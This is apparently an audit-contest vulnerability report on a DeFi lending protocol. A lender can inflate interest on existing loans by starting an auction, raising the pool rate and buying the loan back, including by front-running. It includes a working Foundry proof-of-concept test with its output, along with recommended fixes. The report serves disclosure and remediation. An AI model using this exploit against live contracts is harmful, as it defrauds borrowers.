20,000 USDC
View results
Submission Details
Severity: medium
Valid

The lender can easily manipulate the interest of existing loans

Summary

The lender can manipulate the interest of existing loans by launching an auction, modifying the pool’s interest and then buying the loan back.

Vulnerability Details

(1) Angela decides to scam protocol users. She sets up a pool with a very low interest rate (let’s say 1%), a normal maxLoanRatio and a short auctionLength (let’s say 1 hour);

(2) Alice sees the pool and decides it’s a good idea to borrow a hefty amount.

(3) Angela calls the startAuction function and waits.

(4a) If there’s no competition, Angela waits until there’s 1 minute left in the auction duration period, she calls updateInterestRate and then buyLoan.

(4b) If there is competition, Angela waits until someone calls the buyLoan function. She spots the transaction in the mempool and frontruns it with her two function calls updateInterestRate and buyLoan.

Please see below:

function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(angela), 100000*10**18);
collateralToken.mint(address(alice), 100000*10**18);
vm.startPrank(angela);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(alice);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
}
function test_manipulateInterest() public {
vm.startPrank(angela);
Pool memory p = Pool({
lender: angela,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 hours,
interestRate: 100, //equivalent to 1% interest
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(,,,,uint256 poolBalance,,,uint256 initialInterest,) = lender.pools(poolId);
vm.stopPrank();
vm.startPrank(alice);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.stopPrank();
vm.startPrank(angela);
uint256[] memory loanIds = new uint256[](1);
lender.startAuction(loanIds);
(,,,,,,,,uint256 startTime,uint256 length) = lender.loans(0);
vm.warp(block.timestamp + 15 minutes);
uint256 timeElapsed = block.timestamp - startTime;
uint256 currentAuctionRate = (lender.MAX_INTEREST_RATE() * timeElapsed) / length;
lender.updateInterestRate(poolId, currentAuctionRate - 1);
lender.buyLoan(0, poolId);
vm.stopPrank();
(,,,,,,uint256 loanInterest,,,) = lender.loans(0);
console.log("Initial interest was: ", initialInterest);
console.log("New interest is: ", loanInterest);
assert(currentAuctionRate > initialInterest);
}

In the example above, at the 15 minutes mark Angela called her updateInterestRate with the computed currentAuctionRate and then called buyLoan.

Running 1 test for test/StartUpdateBuy.t.sol:LenderTest
[PASS] test_manipulateInterest() (gas: 658964)
Logs:
Initial interest was: 100
New interest is: 24999
Test result: ok. 1 passed; 0 failed; finished in 2.35ms

If Angela had no competition she would have pulled the trigger at the 59 minutes mark:

Running 1 test for test/StartUpdateBuy.t.sol:LenderTest
[PASS] test_manipulateInterest() (gas: 659609)
Logs:
Initial interest was: 100
New interest is: 98332
Test result: ok. 1 passed; 0 failed; finished in 2.36ms

Moreover Angela can call the updateInterestRate function again to return the interest rate of the pool back to the initial value, to use the same pool in order to scam her next victim.

Impact

Lender can increase the interest of past loans causing financial losses to the borrower.

Tools Used

Forge tests + manual review

Recommendations

  1. Set a minimal auction duration.

  2. Lower the maximum interest rate.

  3. Make it impossible for the current lender to buy the loan using the same pool that gave out the loan. It won’t stop him using a second address and a second pool, but at least it will increase the costs of the exploit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.